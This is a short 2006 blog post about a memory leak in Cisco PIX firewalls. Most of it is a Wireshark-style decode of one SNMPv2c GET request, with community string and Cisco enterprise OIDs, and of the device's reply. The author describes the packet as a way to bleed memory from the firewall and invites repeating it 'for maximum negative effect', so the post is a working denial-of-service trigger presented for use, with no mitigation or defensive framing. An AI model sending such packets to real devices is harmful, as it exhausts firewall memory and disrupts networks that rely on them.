Quoth The Maven


About
Quoth The Maven, Yet another Blosxom blog.



Subscribe
Subscribe to a syndicated feed of my weblog, brought to you by the wonders of RSS.

Flavours
There's more than one way to view this weblog; try these flavours on for size.

Links
These are a few of my favourite links.


Sun, 12 Feb 2006

PIX Phlebotomy
The following single snmp packet (if valid and responded to) is a simple way to bleed 192 bytes of available memory from your favorite PIX. Lather, rinse, and repeat for maximum negative effect.

1 Frame 1 (117 bytes on wire, 117 bytes captured)
    Arrival Time: Feb 12, 2006 23:00:11.559812000
    Time delta from previous packet: 0.000000000 seconds
    Time since reference or first frame: 0.000000000 seconds
    Frame Number: 1
    Packet Length: 117 bytes
    Capture Length: 117 bytes
    Protocols in frame: eth:ip:udp:snmp
Simple Network Management Protocol
    Version: 2C (1)
    Community: phlebotomy
    PDU type: GET (0)
    Request Id: 0x7dc29a7a
    Error Status: NO ERROR (0)
    Error Index: 0
    Object identifier 1: 1.3.6.1.4.1.9.9.171.1.2.3.1.19.1 (SNMPv2-SMI::enterprises.9.9.171.1.2.3.1.19.1)
    Value: NULL
    Object identifier 2: 1.3.6.1.4.1.9.9.171.1.2.3.1.27.1 (SNMPv2-SMI::enterprises.9.9.171.1.2.3.1.27.1)
    Value: NULL

2 Frame 2 (121 bytes on wire, 121 bytes captured)
    Arrival Time: Feb 12, 2006 23:00:11.561674000
    Time delta from previous packet: 0.001862000 seconds
    Time since reference or first frame: 0.001862000 seconds
    Frame Number: 2
    Packet Length: 121 bytes
    Capture Length: 121 bytes
    Protocols in frame: eth:ip:udp:snmp
Simple Network Management Protocol
    Version: 2C (1)
    Community: phlebotomy
    PDU type: RESPONSE (2)
    Request Id: 0x7dc29a7a
    Error Status: NO ERROR (0)
    Error Index: 0
    Object identifier 1: 1.3.6.1.4.1.9.9.171.1.2.3.1.19.1 (SNMPv2-SMI::enterprises.9.9.171.1.2.3.1.19.1)
    Value: Counter32: 688
    Object identifier 2: 1.3.6.1.4.1.9.9.171.1.2.3.1.27.1 (SNMPv2-SMI::enterprises.9.9.171.1.2.3.1.27.1)
    Value: Counter32: 556

[/curtis/netizen] permanent link